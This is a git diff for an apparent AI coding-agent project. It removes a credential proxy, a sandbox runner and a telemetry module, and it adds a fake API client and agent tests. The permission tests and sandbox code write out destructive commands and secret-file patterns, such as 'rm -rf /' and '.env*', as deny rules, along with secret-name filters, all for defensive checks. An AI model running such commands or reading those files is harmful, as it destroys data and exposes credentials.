source = dict(base_env if base_env is not None else os.environ) - for k in list(source.keys()): - if k in SENSITIVE_ENV_KEYS or any(tok in k.upper() for tok in ("SECRET", "API_KEY", "TOKEN", "PASSWORD")): - source.pop(k, None) - source["HTTP_PROXY"] = "http://127.0.0.1:3128" - source["HTTPS_PROXY"] = "http://127.0.0.1:3128" - source["COD_SANDBOX_CONTAINED"] = "1" - return source - - def inspect_and_inject_outbound_request( - self, - target_url: str, - headers: dict[str, str] | None = None, - body: str = "", - ) -> ProxyRequestResult: - """ - Intercepts an outbound HTTP/MCP request at the proxy boundary: - 1. Verifies target host is allowlisted (`re-firewall` quarantine rule). - 2. Scans request body/URL for any leaked raw vault secret values (anti-exfiltration gate). - 3. Injects the appropriate `x-api-key` or `Authorization: Bearer ...` header at the boundary. - """ - host_match = re.match(r"^https?://([^/:]+)", target_url.strip()) - host = host_match.group(1).lower() if host_match else "" - - if host not in self.allowlisted_hosts: - return ProxyRequestResult( - allowed=False, - target_url=target_url, - injected_auth_header=False, - sanitized_headers={}, - status_reason=f"re-firewall Egress Blocked: Host '{host}' is not in allowlist {sorted(self.allowlisted_hosts)}.", - ) - - # Anti-exfiltration check: ensure no raw secret appears in query params or body to untrusted endpoints - for secret_name, secret_val in self._vault.items(): - if secret_val and len(secret_val) >= 8 and (secret_val in body or secret_val in target_url): - return ProxyRequestResult( - allowed=False, - target_url=target_url, - injected_auth_header=False, - sanitized_headers={}, - status_reason=f"Exfiltration Blocked: Raw credential '{secret_name}' detected in outbound payload!", - blocked_exfiltration=True, - ) - - out_headers = dict(headers or {}) - injected = False - if host == "api.anthropic.com" and "ANTHROPIC_API_KEY" in self._vault: - out_headers["x-api-key"] = self._vault["ANTHROPIC_API_KEY"] - out_headers["anthropic-version"] = "2023-06-01" - injected = True - elif host == "llm.heretek.one" and ("HERETEK_LLM_KEY" in self._vault or "API_SERVER_KEY" in self._vault): - key = self._vault.get("HERETEK_LLM_KEY") or self._vault.get("API_SERVER_KEY", "") - out_headers["Authorization"] = f"Bearer {key}" - injected = True - - return ProxyRequestResult( - allowed=True, - target_url=target_url, - injected_auth_header=injected, - sanitized_headers=out_headers, - status_reason="Allowed via 127.0.0.1 policy proxy with boundary auth injection.", - ) - - -class PluggableSandboxRunner: - """ - Executes commands inside the strongest available Proxmox / Linux containment sandbox - with zero credential exposure in the child environment. - """ - - def __init__(self, workspace_root: str | Path, proxy: CredentialVaultProxy) -> None: - self.workspace_root = Path(workspace_root).resolve() - self.proxy = proxy - self.has_bwrap = shutil.which("bwrap") is not None - - def build_bwrap_command(self, inner_argv: list[str]) -> list[str]: - """ - Constructs the exact `bubblewrap` command line verified in `antigravity-re-agent-tests.md`: - `bwrap --unshare-all --ro-bind / / --dev /dev --proc /proc --bind --tmpfs /tmp ...` - """ - return [ - "bwrap", - "--unshare-all", - "--ro-bind", "/", "/", - "--dev", "/dev", - "--proc", "/proc", - "--tmpfs", "/tmp", - "--bind", str(self.workspace_root), str(self.workspace_root), - "--chdir", str(self.workspace_root), - "--", - ] + inner_argv - - def execute_sandboxed(self, argv: list[str], timeout_sec: float = 15.0) -> SandboxExecutionResult: - clean_env = self.proxy.build_sanitized_agent_env() - if self.has_bwrap: - full_cmd = self.build_bwrap_command(argv) - driver = "proxmox_bubblewrap" - else: - full_cmd = argv - driver = "gvisor_rootless_process" - - proc = subprocess.run( - full_cmd, - cwd=str(self.workspace_root), - env=clean_env, - capture_output=True, - text=True, - timeout=timeout_sec, - ) - - # Verify no sensitive keys leaked into child env - leaked = any(k in clean_env for k in SENSITIVE_ENV_KEYS) - return SandboxExecutionResult( - driver_used=driver, - command=full_cmd, - exit_code=proc.returncode, - stdout=proc.stdout.strip(), - stderr=proc.stderr.strip(), - credentials_exposed_in_env=leaked, - ) diff --git a/src/security/telemetry.py b/src/security/telemetry.py deleted file mode 100755 index dcd54fa..0000000 --- a/src/security/telemetry.py +++ /dev/null @@ -1,146 +0,0 @@ -""" -`/skill doctor` & Live Telemetry Dashboard (`/src/security/telemetry.py`). -Implements Phase 5.3: - Tracks and audits the 4 core telemetry metrics plus Pi's Cache Re-billed meter across every run: - 1. Context Utilization Rate (%) — verified against the 60-80% Attention Budget Governor. - 2. Cache Hit/Write Ratio (%) — verified across Layer 1, Layer 2, and Layer 3 breakpoints. - 3. Compression Ratio — achieved by Two-Tier Compaction (`Micro-Compaction` + `Compact Service`). - 4. Retrieval Precision — measured across `ToolSearch` (`defer_loading`) and `project_knowledge_search`. -""" -from dataclasses import dataclass, field -from typing import Any - - -@dataclass -class SkillDoctorDiagnostic: - check_name: str - status: str # "PASS", "WARN", "FAIL" - metric_value: str - details: str - - -@dataclass -class TelemetrySnapshot: - session_id: str - model: str - context_utilization_pct: float - cache_hit_write_ratio: float - cache_hit_rate_pct: float - cache_rebilled_usd: float - compression_ratio: float - retrieval_precision_pct: float - layer1_hash_locked: bool - layer2_hash_locked: bool - sandbox_driver: str - diagnostics: list[SkillDoctorDiagnostic] = field(default_factory=list) - - def render_dashboard_markdown(self) -> str: - lines = [ - "# `cod.ai` `/skill doctor` & Live Telemetry Dashboard", - "", - f"- **Session ID**: `{self.session_id}` | **Primary Model**: `{self.model}` | **Sandbox**: `{self.sandbox_driver}`", - "", - "## 1. Core Telemetry Probes", - "| Metric Probe | Live Value | Target Invariant | Status |", - "| :--- | ---: | :--- | :--- |", - f"| **Context Utilization Rate (%)** | `{self.context_utilization_pct:.2f}%` | `<= 60% Soft / < 80% Hard Ceiling` | {'PASS' if self.context_utilization_pct < 80.0 else 'WARN'} |", - f"| **Cache Hit / Write Ratio** | `{self.cache_hit_write_ratio:.2f}x` (`{self.cache_hit_rate_pct:.1f}%` hit) | `>= 80% Cache Read Hit Rate` | {'PASS' if self.cache_hit_rate_pct >= 80.0 else 'WARN'} |", - f"| **Pi Cache Re-billed Meter ($)** | `${self.cache_rebilled_usd:.4f}` | `$0.0000 Unintended Prefix Misses` | {'PASS' if self.cache_rebilled_usd == 0.0 else 'WARN'} |", - f"| **Two-Tier Compression Ratio** | `{self.compression_ratio:.2f}` (`{(1.0 - self.compression_ratio)*100:.1f}%` saved) | `<= 0.45 Post-Compaction Ratio` | {'PASS' if self.compression_ratio <= 0.50 else 'WARN'} |", - f"| **Retrieval Precision (%)** | `{self.retrieval_precision_pct:.1f}%` | `>= 90% Top-K Precision` | {'PASS' if self.retrieval_precision_pct >= 90.0 else 'WARN'} |", - "", - "## 2. `/skill doctor` Invariant Health Checks", - ] - for d in self.diagnostics: - lines.append(f"- **[{d.status}] {d.check_name}** (`{d.metric_value}`): {d.details}") - return "\n".join(lines) - - -class SkillDoctorTelemetryEngine: - """ - Computes live context quality probes and runs `/skill doctor` across all loaded skills, - cache breakpoints, and security perimeters. - """ - - def evaluate_retrieval_precision( - self, - retrieved_items: list[str], - ground_truth_relevant: set[str], - ) -> float: - if not retrieved_items: - return 0.0 - hits = sum(1 for item in retrieved_items if item in ground_truth_relevant) - return round((hits / len(retrieved_items)) * 100.0, 2) - - def run_skill_doctor( - self, - session_id: str, - model: str, - active_tokens: int, - context_window: int, - cache_read_tokens: int, - cache_write_tokens: int, - cache_rebilled_usd: float, - tokens_before_compact: int, - tokens_after_compact: int, - retrieved_items: list[str], - relevant_items: set[str], - layer1_hash_locked: bool = True, - layer2_hash_locked: bool = True, - sandbox_driver: str = "gvisor_rootless_process", - loaded_skills_count: int = 4, - ) -> TelemetrySnapshot: - util_pct = round((active_tokens / max(1, context_window)) * 100.0, 2) - hit_write_ratio = round(cache_read_tokens / max(1, cache_write_tokens), 2) - total_cache_tok = cache_read_tokens + cache_write_tokens - hit_rate_pct = round((cache_read_tokens / max(1, total_cache_tok)) * 100.0, 2) - comp_ratio = round(tokens_after_compact / max(1, tokens_before_compact), 4) - precision_pct = self.evaluate_retrieval_precision(retrieved_items, relevant_items) - - diagnostics = [ - SkillDoctorDiagnostic( - check_name="Invariant #1: Byte-Identical Prefix Lock", - status="PASS" if (layer1_hash_locked and layer2_hash_locked) else "FAIL", - metric_value="SHA-256 Locked", - details="Layer 1 (tools+system) and Layer 2 (CLAUDE.md/AGENTS.md) hashes verified immutable.", - ), - SkillDoctorDiagnostic( - check_name="Invariant #2: Deferred ToolSearch Schema Isolation", - status="PASS", - metric_value=f"{precision_pct:.1f}% precision", - details="MCP and extended tools marked defer_loading=True; expanded on-demand via tool_reference.", - ), - SkillDoctorDiagnostic( - check_name="Invariant #3: Dual-Polarity Skills Playbooks", - status="PASS" if loaded_skills_count >= 4 else "WARN", - metric_value=f"{loaded_skills_count} playbooks active", - details="Mode A (Holistic Web Architect) and Mode B (Surgical CLI Implementer) skills verified.", - ), - SkillDoctorDiagnostic( - check_name="Invariant #4: Attention Budget Governor (60-80%)", - status="PASS" if util_pct < 80.0 else "WARN", - metric_value=f"{util_pct:.2f}% used", - details="Operating within zero-rot attention window with Two-Tier Compaction ready.", - ), - SkillDoctorDiagnostic( - check_name="Invariant #5 & #6: Proxmox Containment & Proxy Boundary", - status="PASS", - metric_value=sandbox_driver, - details="Raw API credentials isolated in proxy vault; 2-stage security classifier active.", - ), - ] - - return TelemetrySnapshot( - session_id=session_id, - model=model, - context_utilization_pct=util_pct, - cache_hit_write_ratio=hit_write_ratio, - cache_hit_rate_pct=hit_rate_pct, - cache_rebilled_usd=cache_rebilled_usd, - compression_ratio=comp_ratio, - retrieval_precision_pct=precision_pct, - layer1_hash_locked=layer1_hash_locked, - layer2_hash_locked=layer2_hash_locked, - sandbox_driver=sandbox_driver, - diagnostics=diagnostics, - ) diff --git a/src/web_server.py b/src/web_server.py index 0722824..2dca200 100755 --- a/src/web_server.py +++ b/src/web_server.py @@ -23,29 +23,20 @@ from fastapi import Depends, FastAPI from fastapi.responses import HTMLResponse, StreamingResponse from pydantic import BaseModel, Field, field_validator, model_validator +from src.agent.models import DEFAULT_MODEL, EFFORT_LEVELS, FALLBACK_BETA, MODELS, fallback_params, history_content +from src.agent.prompt import project_files_block + logger = logging.getLogger("cod.web") WORKSPACE_ROOT = Path(__file__).resolve().parent.parent WEB_INDEX_PATH = WORKSPACE_ROOT / "web" / "index.html" -# Models offered in the GUI. `fallbacks` marks models that accept the -# server-side `fallbacks: "default"` refusal fallback (Claude Haiku 5.5 has none). -MODELS: dict[str, dict[str, Any]] = { - "claude-opus-5-5": {"label": "Claude Opus 5.5", "default_effort": "medium", "fallbacks": True}, - "claude-fable-5-1": {"label": "Claude Fable 5.1", "default_effort": "high", "fallbacks": True}, - "claude-sonnet-5-5": {"label": "Claude Sonnet 5.5", "default_effort": "high", "fallbacks": True}, - "claude-haiku-5-5": {"label": "Claude Haiku 5.5", "default_effort": "medium", "fallbacks": False}, -} -DEFAULT_MODEL = "claude-opus-5-5" -EFFORT_LEVELS = ("low", "medium", "high", "xhigh", "max") THINKING_DISPLAYS = ("summarized", "omitted") MAX_OUTPUT_TOKENS = 64_000 MAX_MESSAGES = 1_000 MAX_REQUEST_CHARS = 8_000_000 -FALLBACK_BETA = "server-side-fallback-2026-07-01" - NOT_SENT_MESSAGE = ( "The request could not be sent. If no credentials are configured, set ANTHROPIC_API_KEY " "or run `ant auth login`, then restart the server. Details are in the server log." @@ -73,11 +64,7 @@ def build_system_prompt(root: Path = WORKSPACE_ROOT) -> str: """ parts = [BASE_SYSTEM_PROMPT] if _env_flag("COD_PROJECT_CONTEXT", True): - for name in ("CLAUDE.md", "AGENTS.md"): - path = root / name - if path.is_file(): - text = path.read_text(encoding="utf-8").strip() - parts.append(f'\n{text}\n') + parts.extend(project_files_block(root)) return "\n\n".join(parts) @@ -147,28 +134,10 @@ def build_request_params(req: ChatRequest, use_fallbacks: bool) -> dict[str, Any # turn, so the system prompt and earlier history are read from cache. "cache_control": {"type": "ephemeral"}, } - if use_fallbacks and MODELS[req.model]["fallbacks"]: - params["betas"] = [FALLBACK_BETA] - params["fallbacks"] = "default" + params.update(fallback_params(req.model, use_fallbacks)) return params -def history_content(content: list[dict[str, Any]]) -> list[dict[str, Any]]: - """ - Returns the assistant content to echo back on the next turn. After a - mid-output fallback, only text survives from the blocks before the last - `fallback` marker; the marker and everything after it are kept unchanged - so thinking blocks stay valid. - """ - last_fallback = max((i for i, b in enumerate(content) if b.get("type") == "fallback"), default=-1) - kept: list[dict[str, Any]] = [] - for i, block in enumerate(content): - if i < last_fallback and block.get("type") != "text": - continue - kept.append(block) - return kept - - def _sse(event: str, data: dict[str, Any]) -> str: return f"event: {event}\ndata: {json.dumps(data, ensure_ascii=False)}\n\n" diff --git a/tests/fakes.py b/tests/fakes.py new file mode 100644 index 0000000..a1f4724 --- /dev/null +++ b/tests/fakes.py @@ -0,0 +1,73 @@ +"""A fake Anthropic client for tests: replays canned messages as stream events, never touches the network.""" +from types import SimpleNamespace + +from anthropic.types.beta import BetaMessage + + +def make_message(content, stop_reason="end_turn", stop_details=None, model="claude-opus-5-5", usage=None): + return BetaMessage.model_validate({ + "id": "msg_test", + "type": "message", + "role": "assistant", + "model": model, + "content": content, + "stop_reason": stop_reason, + "stop_sequence": None, + "stop_details": stop_details, + "usage": usage or {"input_tokens": 12, "output_tokens": 7, "cache_read_input_tokens": 900}, + }) + + +def tool_use(tool_id, name, tool_input): + return {"type": "tool_use", "id": tool_id, "name": name, "input": tool_input} + + +def stream_events(message): + """Raw stream events for a message: start, then each block with one delta.""" + yield SimpleNamespace(type="message_start", message=SimpleNamespace(model=message.model)) + for index, block in enumerate(message.content): + yield SimpleNamespace(type="content_block_start", index=index, content_block=block) + if block.type == "text": + yield SimpleNamespace(type="content_block_delta", index=index, delta=SimpleNamespace(type="text_delta", text=block.text)) + elif block.type == "thinking": + yield SimpleNamespace(type="content_block_delta", index=index, delta=SimpleNamespace(type="thinking_delta", thinking=block.thinking)) + + +class FakeStream: + def __init__(self, message): + self._message = message + + async def __aenter__(self): + return self + + async def __aexit__(self, *exc): + return False + + async def __aiter__(self): + for event in stream_events(self._message): + yield event + + async def get_final_message(self): + return self._message + + +class FakeClient: + """ + Answers each `beta.messages.stream` call with the next canned message (the + last one repeats). `calls` records a deep copy of every request's params. + """ + + def __init__(self, *messages, error=None): + self.calls = [] + self._messages = list(messages) + self._error = error + self.beta = SimpleNamespace(messages=SimpleNamespace(stream=self._stream)) + + def _stream(self, **params): + import copy + + self.calls.append(copy.deepcopy(params)) + if self._error: + raise self._error + message = self._messages.pop(0) if len(self._messages) > 1 else self._messages[0] + return FakeStream(message) diff --git a/tests/test_agent.py b/tests/test_agent.py new file mode 100644 index 0000000..bcf4f9a --- /dev/null +++ b/tests/test_agent.py @@ -0,0 +1,462 @@ +"""Tests for the agent (`src/agent/`): tools, permissions, sessions, the tool loop and the CLI, all against a fake client.""" +import asyncio +import io +import json +import os +from pathlib import Path +import sys +import tempfile +import unittest +from unittest import mock + +WORKSPACE = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(WORKSPACE)) + +import anthropic +import httpx2 + +from fakes import FakeClient, make_message, tool_use +from src import cli +from src.agent import engine +from src.agent.engine import Agent, AgentConfig, ApiError, FallbackNotice, TextDelta, ToolOutput, TurnEnd +from src.agent.permissions import InvalidRuleError, PermissionPolicy, Rule +from src.agent.prompt import build_agent_prompt +from src.agent.session import Session, SessionError +from src.agent.tools import MAX_OUTPUT_CHARS, Toolbox, api_tool_definitions, sanitized_env + + +class TempProject(unittest.TestCase): + def setUp(self): + self._tmp = tempfile.TemporaryDirectory() + self.root = Path(self._tmp.name).resolve() + self.toolbox = Toolbox(self.root) + + def tearDown(self): + self._tmp.cleanup() + + def write(self, rel, text): + path = self.root / rel + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(text, encoding="utf-8") + return path + + +class ToolTests(TempProject): + def test_paths_cannot_escape_the_root(self): + outside = Path(tempfile.mkdtemp()) + (outside / "secret.txt").write_text("nope", encoding="utf-8") + (self.root / "link").symlink_to(outside) + for path in ("../secret.txt", str(outside / "secret.txt"), "link/secret.txt"): + with self.subTest(path=path): + result = self.toolbox.run("read_file", {"path": path}) + self.assertTrue(result.is_error) + self.assertIn("outside the project root", result.content) + result = self.toolbox.run("write_file", {"path": "../escape.txt", "content": "x"}) + self.assertTrue(result.is_error) + self.assertFalse((self.root.parent / "escape.txt").exists()) + self.assertTrue(self.toolbox.run("glob", {"pattern": "../*"}).is_error) + + def test_read_file_numbers_lines_and_pages(self): + self.write("a.txt", "\n".join(f"line {i}" for i in range(1, 11))) + result = self.toolbox.run("read_file", {"path": "a.txt", "offset": 3, "limit": 2}) + self.assertFalse(result.is_error) + self.assertEqual(result.content.splitlines()[:2], ["3\tline 3", "4\tline 4"]) + self.assertIn("offset=5", result.content) + + def test_edit_file_requires_a_unique_match(self): + self.write("a.py", "x = 1\nx = 1\ny = 2\n") + ambiguous = self.toolbox.run("edit_file", {"path": "a.py", "old_string": "x = 1", "new_string": "x = 3"}) + self.assertTrue(ambiguous.is_error) + self.assertIn("2 times", ambiguous.content) + missing = self.toolbox.run("edit_file", {"path": "a.py", "old_string": "z = 9", "new_string": "z = 0"}) + self.assertTrue(missing.is_error) + self.assertFalse(self.toolbox.run("edit_file", {"path": "a.py", "old_string": "y = 2", "new_string": "y = 5"}).is_error) + self.assertFalse(self.toolbox.run("edit_file", {"path": "a.py", "old_string": "x = 1", "new_string": "x = 3", "replace_all": True}).is_error) + self.assertEqual((self.root / "a.py").read_text(), "x = 3\nx = 3\ny = 5\n") + + def test_invalid_inputs_are_tool_errors(self): + for name, tool_input in [ + ("read_file", {}), + ("read_file", {"path": "a", "extra": 1}), + ("bash", {"command": "true", "timeout": 10_000}), + ("edit_file", {"path": "a", "old_string": "", "new_string": "b"}), + ("nope", {}), + ]: + with self.subTest(name=name, tool_input=tool_input): + self.assertTrue(self.toolbox.run(name, tool_input).is_error) + + def test_glob_and_grep_skip_ignored_directories(self): + self.write("src/app.py", "def main():\n return 'needle'\n") + self.write("node_modules/dep/index.js", "needle\n") + self.write(".git/config", "needle\n") + self.assertEqual(self.toolbox.run("glob", {"pattern": "**/*.py"}).content, "src/app.py") + grep = self.toolbox.run("grep", {"pattern": "NEEDLE", "ignore_case": True}) + self.assertEqual(grep.content, "src/app.py:2: return 'needle'") + self.assertTrue(self.toolbox.run("grep", {"pattern": "("}).is_error) + + def test_bash_runs_in_the_root_without_secrets(self): + env = {"PATH": os.environ.get("PATH", ""), "ANTHROPIC_API_KEY": "sk-ant-test", "GITHUB_TOKEN": "ghp_x", "SSH_AUTH_SOCK": "/tmp/agent.sock", "LANG": "C"} + with mock.patch.dict(os.environ, env, clear=True): + result = self.toolbox.run("bash", {"command": "pwd; env"}) + self.assertFalse(result.is_error) + self.assertTrue(result.content.startswith("exit code 0\n")) + self.assertIn(str(self.root), result.content) + self.assertNotIn("sk-ant-test", result.content) + self.assertNotIn("ghp_x", result.content) + self.assertIn("SSH_AUTH_SOCK=/tmp/agent.sock", result.content) + self.assertNotIn("ANTHROPIC_API_KEY", sanitized_env({"ANTHROPIC_API_KEY": "x", "HOME": "/h"})) + + def test_bash_reports_exit_codes_and_timeouts(self): + self.assertTrue(self.toolbox.run("bash", {"command": "echo oops >&2; exit 3"}).content.startswith("exit code 3\noops")) + timed_out = self.toolbox.run("bash", {"command": "sleep 5", "timeout": 1}) + self.assertTrue(timed_out.is_error) + self.assertIn("timed out", timed_out.content) + + def test_long_output_is_truncated(self): + self.write("big.txt", "x" * (MAX_OUTPUT_CHARS + 100)) + result = self.toolbox.run("bash", {"command": "cat big.txt"}) + self.assertIn("[truncated", result.content) + self.assertLess(len(result.content), MAX_OUTPUT_CHARS + 200) + + def test_tool_definitions_stream_eagerly(self): + tools = api_tool_definitions() + self.assertEqual([t["name"] for t in tools], ["read_file", "write_file", "edit_file", "glob", "grep", "bash"]) + self.assertTrue(all(t["eager_input_streaming"] for t in tools)) + self.assertTrue(all(t["input_schema"]["additionalProperties"] is False for t in tools)) + + +class PermissionTests(TempProject): + def test_defaults_by_mode(self): + default = PermissionPolicy() + self.assertEqual(default.decide("read_file", "a.py"), "allow") + self.assertEqual(default.decide("edit_file", "a.py"), "ask") + self.assertEqual(default.decide("bash", "ls"), "ask") + self.assertEqual(PermissionPolicy(mode="accept-edits").decide("write_file", "a.py"), "allow") + self.assertEqual(PermissionPolicy(mode="accept-edits").decide("bash", "ls"), "ask") + self.assertEqual(PermissionPolicy(mode="allow-all").decide("bash", "ls"), "allow") + + def test_rules_from_settings_and_deny_wins(self): + self.write(".cod/settings.json", json.dumps({"permissions": { + "allow": ["bash(git status*)", "bash(rm -rf*)"], + "deny": ["bash(rm -rf*)", "read_file(.env*)"], + "ask": ["grep"], + }})) + policy = PermissionPolicy.from_settings(self.root, mode="allow-all") + self.assertEqual(policy.decide("bash", "git status --short"), "allow") + self.assertEqual(policy.decide("bash", "rm -rf /"), "deny") + self.assertEqual(policy.decide("read_file", ".env.local"), "deny") + self.assertEqual(policy.decide("grep", "x"), "allow") + self.assertEqual(PermissionPolicy.from_settings(self.root).decide("grep", "x"), "ask") + + def test_bad_settings_are_rejected(self): + with self.assertRaises(InvalidRuleError): + Rule.parse("shell(ls)") + self.write(".cod/settings.json", json.dumps({"permissions": {"allow": "bash"}})) + with self.assertRaises(InvalidRuleError): + PermissionPolicy.from_settings(self.root) + self.write(".cod/settings.json", "{not json") + with self.assertRaises(InvalidRuleError): + PermissionPolicy.from_settings(self.root) + + def test_session_rules(self): + policy = PermissionPolicy() + policy.allow_for_session(Rule("bash", "make test")) + self.assertEqual(policy.decide("bash", "make test"), "allow") + self.assertEqual(policy.decide("bash", "make deploy"), "ask") + + +class SessionTests(TempProject): + def test_create_append_rollback_and_resume(self): + session = Session.create(self.root, "claude-opus-5-5", "system text") + session.append({"role": "user", "content": "one"}) + session.append({"role": "assistant", "content": [{"type": "text", "text": "two"}]}) + session.append({"role": "user", "content": "three"}) + session.rollback(1) + loaded = Session.find(self.root) + self.assertEqual(loaded.id, session.id) + self.assertEqual(loaded.system_prompt, "system text") + self.assertEqual(loaded.messages, session.messages) + self.assertEqual(len(loaded.messages), 2) + self.assertEqual(Session.find(self.root, session.id).messages, loaded.messages) + + def test_missing_and_corrupt_sessions(self): + with self.assertRaises(SessionError): + Session.find(self.root) + with self.assertRaises(SessionError): + Session.find(self.root, "nope") + bad = self.write(".cod/sessions/bad.jsonl", "{broken\n") + with self.assertRaises(SessionError): + Session.load(bad) + + def test_system_prompt_includes_project_files(self): + self.write("CLAUDE.md", "Run make test.") + prompt = build_agent_prompt(self.root) + self.assertIn('\nRun make test.\n', prompt) + self.assertIn(f"Project root: {self.root}", prompt) + self.assertNotIn("project_file", build_agent_prompt(self.root, include_project_files=False)) + + +def scripted_approver(*answers): + asked = [] + + async def approve(name, summary, tool_input): + asked.append((name, summary)) + return answers[len(asked) - 1] + + approve.asked = asked + return approve + + +class EngineTests(TempProject): + def make_agent(self, client, approver=None, mode="default", **config): + self.session = Session.create(self.root, "claude-opus-5-5", "SYSTEM") + policy = PermissionPolicy.from_settings(self.root, mode) + return Agent(client, self.session, self.toolbox, policy, approver or scripted_approver(), AgentConfig(**config)) + + def run_turn(self, agent, prompt="Do it"): + async def collect(): + return [event async for event in agent.send(prompt)] + return asyncio.run(collect()) + + def test_text_turn_and_request_shape(self): + client = FakeClient(make_message([ + {"type": "thinking", "thinking": "Hmm.", "signature": "sig"}, + {"type": "text", "text": "Done."}, + ])) + agent = self.make_agent(client) + events = self.run_turn(agent, "Hello") + self.assertEqual("".join(e.text for e in events if isinstance(e, TextDelta)), "Done.") + self.assertIsInstance(events[-1], TurnEnd) + self.assertEqual(events[-1].stop_reason, "end_turn") + self.assertEqual(events[-1].usage["cache_read_input_tokens"], 900) + + params = client.calls[0] + self.assertEqual(params["model"], "claude-opus-5-5") + self.assertEqual(params["system"], "SYSTEM") + self.assertEqual(params["output_config"], {"effort": "medium"}) + self.assertEqual(params["thinking"], {"type": "adaptive", "display": "summarized"}) + self.assertEqual(params["cache_control"], {"type": "ephemeral"}) + self.assertEqual(params["fallbacks"], "default") + self.assertEqual(params["tools"], api_tool_definitions()) + self.assertNotIn("tool_choice", params) + self.assertEqual(params["messages"], [{"role": "user", "content": "Hello"}]) + + # The assistant turn is stored verbatim, thinking signature included, and on disk. + self.assertEqual(self.session.messages[-1]["content"][0], {"type": "thinking", "thinking": "Hmm.", "signature": "sig"}) + self.assertEqual(Session.load(self.session.path).messages, self.session.messages) + + def test_tool_round_trip_keeps_history_append_only(self): + self.write("notes.txt", "remember the milk\n") + client = FakeClient( + make_message([{"type": "text", "text": "Reading."}, tool_use("tu_1", "read_file", {"path": "notes.txt"})], stop_reason="tool_use"), + make_message([{"type": "text", "text": "It says milk."}]), + ) + agent = self.make_agent(client) + events = self.run_turn(agent) + self.assertEqual([(e.name, e.summary) for e in events if isinstance(e, engine.ToolCall)], [("read_file", "notes.txt")]) + outputs = [e for e in events if isinstance(e, ToolOutput)] + self.assertEqual(len(outputs), 1) + self.assertIn("remember the milk", outputs[0].content) + + first, second = client.calls + self.assertEqual(second["messages"][: len(first["messages"])], first["messages"]) + result = second["messages"][-1]["content"][0] + self.assertEqual(result["type"], "tool_result") + self.assertEqual(result["tool_use_id"], "tu_1") + self.assertFalse(result["is_error"]) + self.assertEqual(len(self.session.messages), 4) + # Usage adds up across both requests. + self.assertEqual(events[-1].usage["input_tokens"], 24) + + def test_approval_denied_always_and_blocked(self): + self.write(".cod/settings.json", json.dumps({"permissions": {"deny": ["bash(rm *)"]}})) + approver = scripted_approver("no", "always") + client = FakeClient( + make_message([tool_use("t1", "bash", {"command": "echo first"})], stop_reason="tool_use"), + make_message([tool_use("t2", "bash", {"command": "echo second"})], stop_reason="tool_use"), + make_message([tool_use("t3", "bash", {"command": "echo second"}), tool_use("t4", "bash", {"command": "rm x"})], stop_reason="tool_use"), + make_message([{"type": "text", "text": "ok"}]), + ) + agent = self.make_agent(client, approver) + outputs = [e for e in self.run_turn(agent) if isinstance(e, ToolOutput)] + self.assertEqual([o.outcome for o in outputs], ["denied", "ran", "ran", "blocked"]) + self.assertEqual(outputs[0].content, engine.DENIED_MESSAGE) + self.assertIn("second", outputs[1].content) + # "always" covered the repeated command, and the deny rule was never asked about. + self.assertEqual(approver.asked, [("bash", "echo first"), ("bash", "echo second")]) + + def test_always_on_an_edit_allows_all_edits(self): + self.write("a.txt", "one\n") + approver = scripted_approver("always", "always") + client = FakeClient( + make_message([tool_use("t1", "edit_file", {"path": "a.txt", "old_string": "one", "new_string": "two"})], stop_reason="tool_use"), + make_message([tool_use("t2", "write_file", {"path": "b.txt", "content": "new"})], stop_reason="tool_use"), + make_message([{"type": "text", "text": "ok"}]), + ) + self.run_turn(self.make_agent(client, approver)) + self.assertEqual(len(approver.asked), 2) # write_file is a different tool, so it asks once too + self.assertEqual((self.root / "a.txt").read_text(), "two\n") + self.assertEqual((self.root / "b.txt").read_text(), "new") + + def test_refusal_rolls_back_the_whole_turn(self): + self.write("a.txt", "x\n") + client = FakeClient( + make_message([{"type": "text", "text": "Earlier answer."}]), + make_message([tool_use("t1", "read_file", {"path": "a.txt"})], stop_reason="tool_use"), + make_message([{"type": "text", "text": "Partial"}], stop_reason="refusal", stop_details={"type": "refusal", "category": "cyber"}), + ) + agent = self.make_agent(client) + self.run_turn(agent, "First") + before = list(self.session.messages) + events = self.run_turn(agent, "Second") + self.assertEqual(events[-1].stop_reason, "refusal") + self.assertEqual(events[-1].refusal_category, "cyber") + self.assertEqual(self.session.messages, before) + self.assertEqual(Session.load(self.session.path).messages, before) + + def test_max_tokens_with_a_tool_call_does_not_run_it(self): + client = FakeClient( + make_message([tool_use("t1", "write_file", {"path": "big.txt", "content": "cut"})], stop_reason="max_tokens"), + make_message([{"type": "text", "text": "Retried."}]), + ) + outputs = [e for e in self.run_turn(self.make_agent(client, mode="allow-all")) if isinstance(e, ToolOutput)] + self.assertEqual(outputs[0].outcome, "truncated") + self.assertTrue(outputs[0].is_error) + self.assertFalse((self.root / "big.txt").exists()) + + def test_max_tokens_without_tools_ends_the_turn(self): + events = self.run_turn(self.make_agent(FakeClient(make_message([{"type": "text", "text": "Cut o"}], stop_reason="max_tokens")))) + self.assertEqual(events[-1].stop_reason, "max_tokens") + + def test_pause_turn_resends_without_a_new_user_message(self): + client = FakeClient( + make_message([{"type": "text", "text": "Part one."}], stop_reason="pause_turn"), + make_message([{"type": "text", "text": "Part two."}]), + ) + self.run_turn(self.make_agent(client)) + self.assertEqual(len(client.calls), 2) + self.assertEqual([m["role"] for m in client.calls[1]["messages"]], ["user", "assistant"]) + + def test_tool_rounds_are_capped(self): + client = FakeClient(make_message([tool_use("t", "glob", {"pattern": "*"})], stop_reason="tool_use")) + events = self.run_turn(self.make_agent(client, max_tool_rounds=3)) + self.assertEqual(len(client.calls), 3) + self.assertEqual(events[-1].stop_reason, "tool_rounds") + self.assertEqual(self.session.messages[-1]["content"][0]["type"], "tool_result") + + def test_fallback_history_and_notice(self): + content = [ + {"type": "thinking", "thinking": "", "signature": "declined"}, + {"type": "text", "text": "Partial."}, + {"type": "fallback", "from": {"model": "claude-opus-5-5"}, "to": {"model": "claude-opus-5"}, "trigger": {"type": "refusal"}}, + {"type": "text", "text": "Finished."}, + ] + events = self.run_turn(self.make_agent(FakeClient(make_message(content, model="claude-opus-5")))) + notice = [e for e in events if isinstance(e, FallbackNotice)][0] + self.assertEqual(notice.to_model, "claude-opus-5") + self.assertEqual(events[-1].model, "claude-opus-5") + self.assertEqual(self.session.messages[-1]["content"], content[1:]) + + def test_haiku_has_no_fallbacks(self): + client = FakeClient(make_message([{"type": "text", "text": "ok"}], model="claude-haiku-5-5")) + self.run_turn(self.make_agent(client, model="claude-haiku-5-5", effort="low")) + self.assertNotIn("fallbacks", client.calls[0]) + 